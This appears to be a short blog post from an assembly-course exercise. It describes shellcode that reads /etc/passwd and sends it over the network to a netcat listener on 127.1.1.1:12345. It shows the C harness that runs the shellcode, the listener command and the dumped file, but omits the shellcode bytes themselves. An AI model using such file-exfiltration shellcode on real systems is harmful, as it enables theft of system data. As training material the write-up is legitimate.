SLAE: Shellcode read and send file

Because it is so much fun I developed a shellcode, that reads /etc/passwd and then sends the content to 127.1.1.1 port 12345. And here it is:

shellcode.c

; Shellcode reads /etc/passwd and sends the content to 127.1.1.1 port 12345. 
; The file can be recieved using netcat:
; $ nc -l 127.1.1.1 12345

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

For using it, start netcat on the attacking machine:

$ nc -l 127.1.1.1 12345

After executing the shellcode, the output is:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
... SNIP ...

Get the code.

  1. Hello again πŸ™‚
    Can i ask you a thing that i didn’t understand in your code?
    The open syscall need a buffer and the number of bytes to read so you wrote:

    mov edi,esp
    mov ecx,edi
    xor edx,edx
    mov dh,0xff
    mov dl,0xff

    can you explain me why are you doing this?
    Thanks a lot πŸ™‚

  2. Here I specify the size with ffff. Not that tricky, but it works.
